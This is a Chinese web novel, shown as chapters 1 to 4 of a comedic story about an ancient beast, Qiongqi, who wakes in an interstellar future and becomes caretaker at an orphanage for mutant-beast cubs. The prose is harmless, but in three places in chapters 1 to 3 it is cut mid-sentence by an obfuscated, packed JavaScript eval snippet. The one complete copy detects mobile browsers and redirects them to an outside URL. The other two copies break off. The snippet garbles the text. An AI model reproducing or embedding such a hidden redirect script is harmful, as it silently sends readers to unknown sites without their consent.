《凶兽的幼崽饲养手册》 1. 第 1 章 主星,十二区。 天高云淡,苍穹宛若一块儿清澈无裂的蓝色宝石。 视线下移,井然有序的飞车在空中急行,行色匆匆的人们穿梭在钢筋水泥中,坐上悬浮疾驰的列车。路灯喷洒出细细的薄雾,给翠绿的植被笼上水雾轻纱。 机器人操纵着灵活的手臂,快狠准的将地上的落叶扫进撮箕。它的程序设定,不允许这条街上存在任何脏东西。 阴暗的角落长着、呸,蹲着一团不起眼的人。看着不过刚成年的模样,过长的黑发遮住眉眼,露出的下半张脸小巧苍白,有点丧。 舒泽仰着有点发酸的脖子,呆呆的,“哇。” 真令兽感到陌生。 他独自在这个陌生的街道走了那么三四五分钟,从巷子里面挪到了巷子出口。历尽辛苦后,终于认清了残酷的现实。 这个地方,没有安静的山头给他睡觉。 在很久很久以前,舒泽还有一个名字,那时候的人族叫他穷奇。他一直生活在山海境内的邽山上,鲜少外出。 直到一次山海境大地震,他正在家里睡觉懒得跑,碎落的石块儿堵住了洞穴的出口。 死又死不了,他又懒得刨坑,干脆就团吧团吧睡了过去。反正,他哥到时候会来挖他。 结果睡了一觉起来,家没了,哥不见了,外面的世界翻天覆地大变样了。 一穷二白,今夕是何年,什么都不知道的舒泽丧丧的思考了三秒钟,痛定思痛,不能再这样了! 找不到山头就不能睡了吗?他怎么能被这点困难轻易打倒! 不就是有点冷,地有点硬,外面有点吵吗? 那咋啦。 反正又死不了。 大不了就死啊。 遇见困难不要害怕,只要你愿意放弃,那这个世界上根本就没有困难。 理清思路的舒泽疲惫扯起嘴角嘿嘿一笑,给自己一点鼓励。 封印——五感! “小伙子!” “嘿!小伙子!” 一个带着黑衣兜帽的男子,抄着一口阴哑的声音,抓着舒泽的肩膀晃,“小伙子你怎么一个人在这里啊?是遇到什么困难了吗?!” 他晃得很认真,喊得也很大声,好像知道再不用点力气和手段,他就将见证一个灵魂的沉睡。 刚进入浅眠状态的舒泽,挥蚊子似的,十分不耐烦的轮了一巴掌过去,“别吵,我只是死了。” 好心人:“…………” 好心人要被逼疯了,抓着他的肩膀使劲晃,刻意伪装的声线差点没压住,“你起来啊,你给我起来啊。” “这里不让大小睡,会被赶的!” 摇摆成海草的舒泽捕捉到关键词——睡觉会被赶。 “啊……好麻烦哦。” 好心人把手伸进兜帽里,擦了下额头的汗,差点把口罩水灵灵的取下来。 他手一顿,坚持不懈的开始走剧情,“小伙子,我看你一个人孤苦无依的也挺可怜的,我给你介绍一份工作。” 他把一个智能手环怼到舒泽眼睛前,全息投影出来的那一刻,他急切的喊道:“把眼睛给我睁着!” 沧海桑田,时代巨变,过往千年的光阴浓缩在这短短的五分钟内。 舒泽这一觉,睡得些微有点点长,人族已经冲破自己居住的星球,进入星际时代。 舒泽半眯着眼,“呀,发展真快呀。” 所以星际时代就不可以在路边大小睡了吗? 为了防止自己越说越心梗,好心人把舒泽拉起来,火急火燎的往外推,并掏出一沓钱和一张招聘单。 异兽族幼崽保育院招聘保育员,包吃包住。 好心人像个老妈子似的絮絮叨叨,“这个活儿很简单的,只需要把这份饲养手册做好记录就行了。” 他递给舒泽,后者一手抓着钱一手抓着招聘单,呆滞且无辜,盯—— 好心人:“……&%¥#!!” 舒泽嫌弃的瘪了瘪嘴,骂真脏。 嘿!你还嫌弃我!兜帽好心男气得仰倒,但对上舒泽丧到随时都会睡着的阴郁惺忪脸,他只能屈辱的打开舒泽的衣兜,把东西一股脑塞进去。 再火烧屁股似的打了个飞车,把人送上去后,长舒一口气。 累得蹲在墙角自抱自弃。 扫地机器人扫射到一团,举着扫帚就冲了过来,[警告!警告!这里不让随地大小便!] 兜帽男:“…………” 这一天天的,我真服了。 * “百年前,部分兽族发生异变,觉醒高阶思维并进化出不同强弱的异能。而这部分兽族里面,还有一小撮拥有了人类拟态。” “这是整个兽族的机遇,说明未来某一天,我们也能成为星际的主人。” “但那些弱小且卑鄙的人类,却将这场神赐污化为宇宙辐射带来的变异,处处打压我们异兽族!” “三十年前,联合议院颁布法令,承认异兽族身份的合法化。” 一道阴沉的男声幽幽说道,“但那不过是□□而已,帝国对我们异兽族的迫害从未停止……” (嚼吧)(嚼吧) “事到如今——” 下面响起悉悉索索的交谈声:“这个很好吃诶,你要试试吗?” 男声停顿了下,加大音量,“……事!到!如!今!” “我们只有联合起来反抗!” (嚼吧)(嚼嚼嚼嚼)(咕嘟) “很一般吧,我觉得也就一般,我也没有很喜欢吃。” “!!!!” 一截黑色粗尾巴狂风扫落叶。 “啪嗒——嗒——哒哒哒————” 小石头从天而降,宛若机关枪开火现场,突突突突了个酣畅淋漓。 “哎哟喂!” 一个小豆丁抱着重伤的脑袋低头痛呼,从直立的三角饭团裹成了球,朝天撅起的屁股上还有一截白色的尾巴。 圆尾巴羞涩的颤抖了一下,微妙的平衡被打破,小豆丁顺着头朝下的方向稀里咕噜的翻滚起来。 旁边抖着浅灰色毛茸耳朵的一摊饼,躲过攻击,抬头看见伙伴滚走,迷茫大喊,“铁锤,你去哪儿啊?” 说时迟那时快,球状物体做起加速运动,因为有肥美的肉/体做保护,甚至DuangDuangDuang的加了几个弹跳运动。 掀起的风沙迷了另外一个同伴的眼,棕灰色的圆长形耳朵呼哧呼哧高频率扇动,他缓缓抬起手擦了一下脸,又慢腾腾的伸出jio。 越滚越远的球撞上了栏杆,“咚!”的一声,头朝下,脚朝上的停了下来。和香肠差不多长的腿儿抽抽两下,晕头转向的朝右边滑落,藏在头发里的两只半圆状黑色耳朵噗棱冒了出来,痛得炸成了蒲公英。 “啊……” 还伸着脚的幼崽缓缓的,“拦晚了呀……” “你们到底有没有听我说话!” 一只短粗短粗又炸毛的猫,长着一张豹子似的高级厌世脸,站在台子上急得直跳脚,“异兽族未来有你们,简直就是完蛋了!” 刚刻意渲染出来的阴沉语调急得劈叉,不仅口吐人言,还口吐芬芳,“&*傻#¥&*你%*&%@!!!” 鼠饼猫着腰,小脚捯饬得飞快,小心翼翼穿越火线走到滚球身边,担忧的戳戳他,“铁锤,就算不好吃,你也不用滚蛋啊。” 眼睛里面冒圈圈的滚球:有人在说话?说什么呢……算了,好晕,不重要。 年轻崽,在哪里跌倒就在哪里睡觉。 “呀~!”鼠饼望着吐舌头的伙伴,急急转头,“皮皮!皮皮!铁锤好像死了!” 厌世脸这下是真破防了,“你、你们!” 正当他准备跳下去,狠狠地教训这群不听话的幼崽儿时,旁边传来问询,“然后呢?” “反抗需要做些什么?” 厌世脸大喜,这个院里还是有正常兽的,他急哄哄的说,“那当然是暗中修养,提高实力——力力力你谁啊?!” 厌世脸弹跳后撤,亮出肉垫利爪,在空中挥舞出寒芒,龇牙恐吓,“你怎么进来的!” 还就坐在他旁边! 眼前的人类瞧着不过十七八岁刚成年的样子,脸长得圆圆的,细胳膊细腿,懒懒散散没什么精气神,看起来就没什么攻击性。但竟然就那么悄无声息的突破层层防备…… 舒泽打个哈切,赖洋洋的往外头一指,“门没关。” 保育院年久失修,清风卷落叶,生锈的铁门发出嘎吱嘎吱的嘲笑声。 防备状态下的厌世脸,抬起爪子挠了挠头,“……哦。” “不对!可恶的人类,你平白无故的来这里干什么,偷听我的复仇大计吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659852|156700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 继续龇牙。 气氛紧绷,剑拔弩张,战斗一触即发。 那个叫皮皮的幼崽终于站了起来,“铁—锤——死了——吗?” 厌世脸:“……” 舒泽:“啊——” 这大喘气,听着呼吸有点困难。 他努力掀起嘴角,露出一个省流版笑容,试图让自己看起来更加和蔼亲切,“你好,我叫舒泽,是新来的保育员。” “你看起来长得有点别致诶,我应该叫你什么呀,猫猫还是豹豹?” “不好意思。”舒泽进一步释放友好交流,“我这一觉睡得有点久,没想到外头的兽兽都可以杂/交了。” 杂……交………… 杂……交……………… 一枚核弹从天而降,在厌世脸的耳边炸开,本就不大的瞳仁紧缩成危险的线条。 刚刚还倒地昏厥的铁锤一下子就站起来了,左手拎起鼠饼,快成一道闪电,捞起才走一半的皮皮,迅速找了个掩体蹲下。 厌世脸的爪子和地面摩擦,发出刺耳的碎裂声,碎屑翻飞,他的身形逐渐开始蓬大。 低吼喑哑,“人类,你知道自己有多作死吗……” 眨眼之间,刚刚还短粗虚胖的猫豹变成了三米高的巨兽。柔顺的软毛开始硬化,钢针从皮肤里长出,形成无懈可击的护盾。 原本可爱的大胖脸面目全非,圆啾啾的眼拉长再拉长,闪烁着猛兽的冷酷寒芒,他仰头发出进攻前的怒吼。 脚下的水泥平台承受不住重量,寸寸碎裂。舒泽在倒塌之前,一个灵巧的翻身,轻松落到旁边。 巨兽蹬上一脚,灰尘漫天。舒泽淡定的挥了挥手,周遭升起一道透明的屏障,将灰尘都隔绝在外面。 他细细打量变身后的猫豹,长得更奇怪了捏。现在的兽兽,说变异就变异,这事他哥知道吗? 比起三米的巨兽,舒泽实在太渺小了些,根本就注意不到他周围的异样。掩体后冒出一对黑圆耳迎风招展,滚球崽扯着嗓子吼叫,“灰蛋!给我留一口肉!” 不吃肉的凶兽不是好凶兽!他熊铁锤要当最能吃的凶兽! “吼——” 巨兽一脚踩得地面震动,鼻息掀起气流,“小熊崽子!你再乱叫我就把你也吃了!” 这么小个人,还不够他塞牙缝,还能给他留? “咻——” 刚冒出来的毛茸耳朵Q弹退场。 “那个,不好意思。” 舒泽还是那副没精打采的样子,因为懒得抬头,于是只对着他的脚说话,“你可以变小一点吗,这样说话不是很方便。” 而且还掀起乱七八糟的灰尘,感觉不是很干净。 巨兽以为他是怕到不敢看自己,“哈”的吐出一口雾气,像是听见了什么笑话,“你是要我听你的遗言吗?” 也不知道巨兽中午吃了什么,一口气吹得周围都飘起奇怪的味道。舒泽掀起的屏障只能隔绝物理灰尘,拿这种生化武器没办法。 舒泽皱起眉头碎碎念,“我最讨厌不讲卫生的兽兽了。” 巨兽抬起脚,“人类!受死吧!” 躲看热闹的熊崽一把糊住左右两边小伙伴的眼睛,自己再一闭眼,“别看,崽崽不宜!” 又起灰了,还臭。 舒泽长叹一口气,轻抬手指。谁也没有看见他是怎么做到的,瞬移闪现到了巨兽身侧。 他伸出手握住一根钢针毛,“我都说了,这样说话很不方便。” “还有。” 巨兽缓缓倾斜,单脚站立,“?????” “兽兽要当爱干净的好兽兽。” 舒泽说完后,面不改色将兽抬离地面,用一种随手捡了块儿石头的轻松姿态往外一抛。 蚂蚁搬大象。 三米高的巨兽,在空中打造出完美的抛物线。“轰——”的一声,保育院的大门和部分围墙像薄脆小饼干一样寸寸碎裂,地面猛然出现一个大坑! “咿?” 舒泽惊讶的看着自己手,本来半眯的眸子瞪得溜圆。 他刚刚明明只用了两层力,按照道理不会飞那么远才对。怎么睡一觉起来他的力气还变大了? 暗中观察的三双眼睛惊恐的看着眼前这一幕。 这这这,这是哪里来的人类啊! 这还是人吗?! 2. 第 2 章 舒泽尝试思考,思考好累,放弃思考。 算了,力气大了就大了呗,又不是死了。 他盯着十米开外的坑,幽幽叹了口气,“怎么打那么远呢……” 还得走过去。 舒泽怏怏的挪过去,原本的大门已然消失,取而代之的是个四米深的碗状巨坑。 巨兽头朝下,干得脑袋发懵。 这大白天的,怎么天上就那么多星星了呢?还在黑蘑菇在跳舞诶…… 不对! 哪里来的黑蘑菇! 冒线圈的眼睛恢复清明,巨兽“嗷~”的一声理智回笼,“可恶的人类!!!!” 是那个人的脑袋晕出了残影,围在坑边,三百六十度看热闹。 舒泽望着坑,平铺直叙的“呀”了声,“你还杂/交了穿山甲啊?” 以头抢地,钻的坑挺大诶。 巨兽:“…………” 羞辱的方式有很多种,这个人选择在同一个点上反复鞭尸! 人能忍,兽不能忍;好兽能忍,凶兽要报复社会! 他开始疯狂挣扎,一边蛄蛹一边放狠话,“你等我上去……嗷——!你等我嗷~——!!” 因为身子太大,头又朝下,卡在坑底的巨兽动一下,身上的尖刺就戳自己一下。 动得越狠,戳得越猛,叫得越惨。 一个着力不稳,前脚一滑搭在屁股上,直接就是一个飞船对接,精准刺入屁股软肉。 戳—— “嗷~~~~~~!!!!” “呀~”舒泽的声音起伏大了那么点,“飙血了。” 像开了水龙头。 唧唧惨叫的巨兽猛然缩小,身上的尖刺逐渐变短再变短,像是融化的蜜糖,又似天气回暖,冬天屋檐下消融的冰锥,一点点恢复成柔软的皮毛。 本来就灰扑扑的毛已经失去生命力,像枯草般失去光泽。穿着黑/丝的后爪无助的蹬了蹬,痛得一抽一抽的屁股,抖得像在跳肚皮舞。 两根宽面条潸然落下。 巨兽眼神暗淡无光,气若游丝,“可恶的人类……我不会放过你的……永远……永远……” 舒泽:“哦。” “请问,你们床放在哪里的啊?” 他哥说了,出门在外要有礼貌。毕竟是来人家的山头,不能随便进。 “………………” 巨兽高傲的头颅彻底断了,砸在地上两眼一翻,吐出一节舌头。 舒泽:“。” “害……” 还得自己去找。 好累哦。 他拖着沉重的步伐往里面走了两步,蓦然想起了兜里的饲养手册。 他现在,好像上着班来着? 虽然很累,但他现在,找不到哥哥,又找不到山头睡觉,好像只能上班。 他嘴角绷直,浑身散发着不高兴,掏出好心人塞给他的小册子打开—— 姓名: 物种: 狂暴形态外貌特点描述: 饮食、睡眠等日常习惯特征: 舒泽歪着头想了想,又往坑底瞅了眼(他刚刚做出了走两步的动作,但实际移动距离没有超过三十厘米!) 长毛,尖耳朵,四条腿儿。 “那就叫你咪咪吧。” 穿着黑/丝的肉垫阴暗的伸出爪子。 品种?狂暴形态外貌描述? 舒泽觉得有点为难,捧着小册子回想细节,“啊——” 两手一敲,灵感的火花说来就来。 “知道了。” “物种就写杂/交,特点……像个海胆。” 他笃定落笔,坑底再次传来怒骂声,“我#¥你个@#*,我叫苏尔!苏尔!老子是兔狲!兔狲!” “你才是海胆!你全家都是海胆!!!” “胆—胆—胆胆————” 地狱空荡荡,舒泽在人间。其中心酸不忍于外人道也。 “锤啊……”鼠饼小朋友紧张到声音打颤,“我们接下来怎么办呀?” 三个崽蹲在墙后面缩成三颗汤圆,耳朵都收了起来,怂了吧唧的。 回荡的惨叫声,震得崽心惶惶。 灰蛋是上个月来到保育院的,一来就用超高武力把前院圈成了他的地盘。现在连他都被打得嗷嗷叫,那他们要是对上那个可怕的人类,会被打成糍粑的。 滚球崽伸出两节小胖手,摸着并不存在的下巴做半圆弧运动,沉吟片刻,“事到如今……” 鼠饼耳朵Q的一下弹出来,眼中腾起希望的光。 滚球崽一个猛甩头,“皮皮,你说接下来我们应该怎么做?” 鼠饼:“……” 皮崽的耳朵开始超高速颤抖,这是思考的表现,他缓缓砖头,“铁—锤——你——没死—啊——” 鼠饼、滚球:“…………” 这种紧急时刻,可不可以拉一下进度条啊! “你们很容易死吗?” 舒泽坐在墙头上,风吹起遮住眉眼的黑发,去掉几分颓唐,清秀的少年气跃然而上。纯良无害,一点都看不出来刚刚轻松打败巨兽的恐怖实力。 他垂眸看着三只长着毛茸耳朵的人形幼崽,目带好奇。这品种没见过,很弱吗?不 不会影响他睡觉吧? “!!!!” 他什么时候来的! 两只幼崽触电似的炸毛,一只把头往地上一钻,最胖那只跳到面前来,顶着他一步三Duang的肚子岔开腿,“可恶的人类,你竟敢瞧不起我熊铁锤!” 舒泽望着他蝴蝶震翅般颤抖的短腿,难得浮现出几分兴味。 “今天我就要——” 大放厥词的熊铁锤,肩膀上“啪—”的多了只手,一时不察,本来发虚的崽整个跪了下去。 五体投地。 撅起的白色尾巴羞耻的卷了起来。 熊铁锤:“……” 舒泽懒洋洋:“啊哦~” 摔倒了。 手的主人瞪着双波澜不惊的眼睛,平稳的看向舒泽,手朝着左边一指,“床——” 兴致缺缺的舒泽一下子就找到了方向,蓬勃的生命力从他身体里爆发出耀眼的光芒,那是最纯粹的渴求,那是生命的指引,那是!一生的追!求! “嗖——” 一阵光影掠过,墙头上的人已经消失不见,路边的青草朝着同一个方向歪头,组成的箭头指明了那个恐怖人类的去向。 埋头的鼠饼颤抖着捂住耳朵:“结、结束啦?” 不用被打了? “结束了?哈……结束了?!”熊铁锤缓缓从地上撑起来,后肢无力,扑腾两下又跌落回去。 明明身上一点伤都没有,但却营造出大战后硝烟弥漫的颓唐,撅着个圆屁股,愤然捶地,“怎么可能结束!” “今天的事情,没完!” 他们人类对异兽族的欺辱也不是一天两天了,还假惺惺的说什么是来照顾他们的保育员。 这是照顾崽的样子吗? 不过是新的迫害方式罢了。 硬的打不过,还不能来软的吗?就算打不过又如何?想想那些被压迫的同胞,他们都绝不能让这个人类好过! “就算他打得过灰蛋,后山还有那么多同类,难不成还打不过一个人吗?” 说起后山,熊铁锤捏紧了拳头,声音都有些发抖。好像光是提起那个地方,就是一件让崽很害怕的事情。 鼠饼嗫喏了两下,默默抱住自己蓬松的大尾巴。一直慢半拍的皮皮也在此刻跟上了发展,淡淡的“嗯”了声。 但这些事情,和已经进入甜美梦乡的舒泽没有一点关系。 年久失修的保育院,到处都破破烂烂的。睡觉的地方也不过是用四方薄墙并茅草顶搭起来的破板房。 风一吹,整个屋子都在摇摆。 三块儿不到一米的板子,还有一块儿稍大些的就拼出了四张床。 条件确实要比桥洞下面好上那么点。 舒泽一点磕绊都不带的上了大床。 掀开被子,圆周运动,蚕蛹已成。他发出满足的谓叹,睡在这里就不会被人打扰啦。 昏昏欲睡间,舒泽好像回到了山海境的洞穴,温暖安静。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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拢共也就冬瓜高的熊铁锤,举着比自己还高的大勺,站在板凳上,踮起脚尖不断搅拌锅里的食材。 热气腾浪,分辨不出食材的乳白色汤锅飘散出勾人的香气。 忙碌的铁锤师傅头也不回,“我才那么一点点高,怎么捞你呀。” 鼠饼小腿儿岔着,抱着颗松果使劲磕,扫扫尾巴干自己的。皮皮端坐在小板凳上,也不知道进度条走到哪儿了。 苏尔垮起个大饼猫脸,举起黑爪又扯到屁股上的伤口,狼狈不堪的捂回去,“那好歹要有个态度吧?” 熊铁锤高贵冷艳,“那晚饭还吃吗?” 苏尔屈辱的闭上嘴:“……” 他拖着残破的身躯,伸长脖子,“今晚上吃——” 风霜过境,眨眼之间舒泽出现,攥着苏尔的尾巴根提到身前,黑发遮住沉郁的眼睛,惜字如金,“吵。” 头晕目眩,屁股抽抽的苏尔:“????” 靠啊,这煞神还在前院啊! 煮饭的,剥松子的,撒丫子就跑,聚集在皮皮两侧紧紧相拥。四只手在脸上乱摸,稳定的皮皮,“啵——”的一声,像金鱼似的张开嘴。 舒泽浑身冒着黑气,“咪咪,你不乖。” 晕头转向屁股抽抽的苏尔:乖你大爷啊!可恶的人类! 这是把我当什么了?我是那么好欺负的兽吗?! 苏尔举起前爪,舒泽目光下移。 黑爪放在脸边,厌世脸挤出谄媚的笑,“喵~” “……” 汤圆团:“哇……” 舒泽略微停顿,手一扬。 肥美的咪咪再次划出完美的抛物线,“啊啊啊啊!!!!该死的人类啊啊啊!!!” “咚————” 又是熟悉的坑底。 再次受到重创的咪咪,黑/丝都擦破了。肚皮朝天,气若游丝,“可恶的、人类,我、还会、回来的……” 舒·已黑化版·泽缓缓转身,三小只抖如筛糠,最胆小的鼠饼,浅灰色毛茸尾巴炸成大呲花。 舒泽和中间的金鱼嘴对上眼。 淡定皮嘟着嘴,“挖饭,次么?” 舒泽周身的戾气默然消散,又恢复到低耗能模式,乖巧的往椅子上一坐,“那来一碗吧。” 熊铁锤,鼠饼:“……” 3. 第 3 章 舒泽第三次把碗递出去,“谢谢。” 掌勺的熊铁锤:“……” 舒泽坐在小马扎上,瘦瘦小小撅成一团,刚巧能和站在板凳上的熊大厨对上脸。 大厨一言不发,但是肚子疯狂起伏,不出意外的话,脏话应该都在心里翻涌,多得要炸了。 刚吃个半饱的舒泽,双手捧着碗举高高的样子,居然有点说不上来的的可怜,“三碗,还好吧?” “三碗?!” 熊铁锤用勺子把锅敲得梆梆响,小小一只,瞅着像有三年打饭经验的食堂阿姨,“你管这比你脸都大的玩意儿叫碗!” 这到底是什么歹毒新思路?把粮食吃完饿死他们吗?? 捧着个小碗嘬饭的鼠饼,吓得尾巴竖成了鸡毛掸子。冲上去一把揽住熊大厨的腰,但又因为手太短,对方没有腰,直接从肚子滑到了脚上,半个崽丝滑贴地。 “铁锤,你不要命啦!” 这个人类武力值辣么恐怖,等下要是吃不饱,把他们煮起来吃了怎么办? 熊铁锤脾气暴躁许多,面对好朋崽的劝阻直接大声反驳,“那咋啦?这是我们四个兽两天的粮食,照着他这个吃法,咱们早晚还不是得饿死?” 异兽族的身份虽然合法化了,但可供给异兽族人生存的方式并不多。倘若你觉醒的时候,有族内前辈的帮扶,那你自然能更快更适应这社会规则,然若没有……自然逃不过社会的毒打。 高精尖的技术岗被人类把控自是不必多提,异兽族大多只能干些体力活,还必须和人类老板签订劳动合同,带上限制异能的项圈,不然都没有办法在社会上正常行走。 若你没有经过星际联盟的审核,私底下接活,那就是重大违/法犯/罪行为,是要被抓进异兽监狱严加看管的! 随着异兽族的不断扩大,政府为了维持社会秩序和稳定,创办了异兽监察处和异兽幼崽保育院,将那些刚觉醒的异兽集合到一起做社会化训练。 但就算觉醒了类人的意识,也逃不过“兽”字。刚觉醒的幼崽又不似已经经历过社会化的异兽,行为做事更靠本能。 更多的人类还是害怕他们兽族的身份和强大的异能,在无数老师被吓跑之后,这里也就彻底成了个三不管地带。 全靠那位异兽监察处处长傅宴川一人之担,将这里保留了下来。 从觉醒当天开始计算,未满五年可算幼崽期,政/府每隔上半个月会送一次粮食过来,供他们维系最基本的生存。 但更多的,就没有了。 鼠饼最怕的就是饿肚子的滋味,听到好朋崽说都要饿死,对着舒泽讷讷道:“那要不还是先煮我吧,我肉比较多。” 人还挂在熊大厨腿上呢,吸溜吸溜鼻涕,努力嘟起嘴巴,显得自己的肉比同伴的多。 熊铁锤脸都听绿了,本来吃饭就慢吞吞的皮皮,端着碗不动了。 灶下的木柴只余零星火光,刚刚还热气腾腾的白色浓汤浮上一层凝固的油脂,没了咕嘟冒的大泡,空中的香味也散了个干净。 舒泽很认真的把鼠饼打量了一遍,从耳朵尖尖到尾巴端端,认真得像是在研究从哪里下刀来得更快。 把崽吓得瑟瑟发抖后,才用一种冷静客观的学术态度说道:“你看起来不好吃。” 鼠饼:“……” 手一软,彻底滑在地上摊成一张薄饼。 谢天谢地~ 舒泽把碗,哦不,盆放下。掏出饲养手册晃了晃,“调查问卷了解一下?” 逃过一劫的仨幼崽面面相觑。 比起被吃掉,配合填张表就显得不是什么事了。 舒泽:“姓名。” “熊铁锤。” 舒泽:“物种。” “上古凶兽!” 舒·真上古凶兽·泽抬头:“?” 熊铁锤的雪球似的白尾巴骄傲蓬松的炸开,双手叉腰,展现并不存在的下颔线,“我的原身乃是食肉猛兽,上古战神的坐骑——食铁兽!” 桀桀桀,怎么样!可恶的人类,怕了吧! 你现在别看我小,等我以后长大了,我一屁股坐死你! 舒泽静默良久,抬手用笔戳了一下对方凸起的大胖肚子。沉迷于凹造型的超绝二八分,“?” 一个重心不稳,又踉跄的滚了出去。 “诶—诶-诶-诶诶——” 滚得声音一卡一卡的。 舒泽淡定的物种一栏上写下:滚滚 特点描述:黑白色的胖子 写完翻页,“下一个。” 想去追好朋友但是又不敢去追好朋友的鼠饼,揪着衣脚,怯怯的走过来,大眼睛圆溜溜的,“人,你好。” 虽然舒泽出场的时候是有自报家门的,但是他们当时也不是很关心一个马上要被吃掉的人。 舒泽张了张嘴,看着小崽子瑟缩的模样,选择了加入,“……兽,你是一只鼠吗?” 鼠饼羞涩的点点头,细声细气,“是的,我是一只胆小如鼠的狼。” 舒泽:“。” 灰色耳朵,灰色大尾巴,你说是一只狼……也行。 舒泽这个都不想干的绝世大懒鬼都不得不上一句,“那你没事抱着个松果剥什么?” 鼠饼小狼的脸唰的一下就白了,“狼不能吃松子吗?我只知道狼不能爱上羊,因为会变得疯狂。” 舒泽目露慈爱,“不怪你,玩儿去吧。” 不用说了,你们这些兽兽进化成这样,他哥肯定不知道。 他大笔一挥,在物种栏写下灰鼠狼,又经过问询后在名字那一栏填上小灰。 还剩最后一个了,舒泽已经失去了猜测的欲望,“你直接说吧。” 皮皮慢腾腾的抬眼,“我——叫——” 舒泽抬起手册展示,他已经把名字写好了,“直接进入下一项。” 皮皮缓缓闭上嘴,“哦——” 滚出去老远的熊铁锤又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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总之,舒泽展现出了对苏尔极大的针对,和三个幼崽的极大宽容。晚上睡觉的时候,他也只是霸占了苏尔的那张床,三个幼崽小心翼翼的靠近自己的床,也并未得到阻拦。 可怜的苏尔蜷缩在地上,可怜兮兮的抱着尾巴无声谩骂。 这边,一个人,三只崽,一团咪睡意正浓。 临区的傅宴川终于解决掉五十三区的暴乱,结束为期一个月的出差。回到家中,他仰躺在沙发上,取下自己的银色框眼镜放到一侧。 修长的手指捏上鼻梁,眉眼如画,极具温雅的东方面容疲态尽显。 不大的两室一厅,因为有机器人的维护,黑白灰三色的房间干干净净,但却安静得过于冷清了些。 他起身走到书房,按下按钮。 书架缓缓朝两边打开,流光暖意倾泻,驱散一室暗影。 但傅宴川却猛的僵在原地。 那张舒适的猫窝上,空无一物。 4. 第 4 章 独战参议院,眉目冷清巍然如山的傅宴川,傅处长,乱了步伐,急切的走进密室。 怀有最后一丝期许翻遍整个屋子,脸上结了一层冰霜。 真的不在。 就他弟弟那个懒散性格,醒后乱动的可能性也不大。就算不知道这里是他的家,但这个猫窝那么软,那么舒服,他也不可能乱动的。 傅宴川的大脑飞速运转,将自己的政敌全都过了一遍。 他虽没了神力无法监控,但这间屋子的安保系统也是极为完善的,能够避开安保,进入这间房子。 除却那几位位高权重的,他想不到其它可能性。 而他弟弟以原身在此修养,外形看起来,就只是一只盘条靓顺,毛茸可爱,无辜柔弱的小猫。 才那么小一团! 谁没事会绑架一只小猫咪! 除非是因为他放在密室里,对方觉得对他意义非凡,想借此威胁。 “砰——” 他猛的垂了一下地面,小臂青筋凸起,眼中刺骨寒意,一字一顿,“是我看起来太好欺负了么?” 活了上万年,以温润沉稳为名誉满兽族的宴川帝君,在此刻,情真意切的起了杀心。 “小七。” 傅宴川冷声喊到。 一道轻快的小男孩儿声音响起,【我在。】 “捏造一个普通人身份,发布寻猫启示,提供线索者奖励两千星币。” 虽然是舒泽自己走的可能性很小,但是也要两手抓,做出万全准备。 小七:【好的~已准备,请问用哪张照片呢?】 傅宴川犹豫了一下,“用我画的那张吧。” 那是他刚捡到舒泽没多久画的画,黄色一小团,可爱得紧。如果舒泽是自己离开,或已挣脱桎梏,不管是用哪种形态行走,只要一看见这张图,就会知道找他的人是傅宴川。 【好的主人,抄送完成,星域网全覆盖,已购买附近区域三分之一展台。后续将根据情况,加大投放力度~】 “嗯好。” 傅宴川站起身,重新穿上刚脱下来的衣服,面沉如水,不见一丝疲态。 他宛如出鞘的利刃,头也不回的踏碎浓稠的夜。 多耽误一分钟,他弟弟就多一分的危险。 不管是谁干的,他都要让对方付出惨痛的代价。 * 天光大亮,已至正午。 保育院远离中心,山路难行又有凶兽盘踞,素来人烟罕至。没了人类活动,反倒养成了绿水青山好风景。 群山之中,树荫之下。鸟惊树动,春意沙沙。 “呸——呸呸——” 熊铁锤摊开萝卜手,喷上口水,搓了搓手,挥起镰刀开始杀地。面朝黄土,屁股朝天,一撅一撅,小白球晃了又晃。 每次送来的物资都是有限的,他们被驱赶在山脚下生活,分到的更是少之又少,只能自己想办法开源节流。 小灰提着篮子,往杀得蓬松疏散的土地里放上切好的土豆块儿。苏尔挎着一张大饼猫脸,单脚跳到每个土豆坑旁边,嗅嗅,用自己的黑丝足刨上泥巴覆盖住。 爪缝里卡了泥巴,嫌弃的抖抖抖。 埋了一长列后,右脚和屁股同时但不同频抽动,活脱脱一只癫痫咪,“不是,凭什么啊!” 它用唯一幸存的粗尾巴拍地,愤愤不平,“为什么我一个伤号要在这儿干活,那只臭水豚就不用昂?” 皮皮一动不动的杵在田中央,偷食的鸟落在它脑袋上,被他高速运转的耳朵惊飞。 cos稻草人,可以说是cos得非常完美。 劳作的铁锤很嫌弃,“你什么都不干,怎么好意思说别人的。” 胆小的小灰竖着鸡毛掸子,比划比划,“你原来还能变成人,高高壮壮,但是你现在只是一只咪咪。” 苏尔是个不速之客,但是他武力值高,三崽打不过。而且他能干很多事情,两三下就锄好地,还会搭茅草屋,那时候自然有优待。 现在他能干啥? 吃白饭咩~ 苏尔急得呲牙,“谁说我不能变——” 薄薄的门板被推开,露出后面睡眼朦胧头发乱翘的舒泽, 苏尔猛的噤声。 好险! 差点就在这个人类面前暴露了。 舒泽眼皮子半耷,郁气沉沉,看着像永远睡不醒的高中生。他扫过门口的三崽一喵,锁定嫌疑咪。 苏尔被看得眼珠子乱转,他不会听见什么,起了怀疑吧?可恶……要是打起来,自己又没几分胜算…… “咪咪你好吵。” 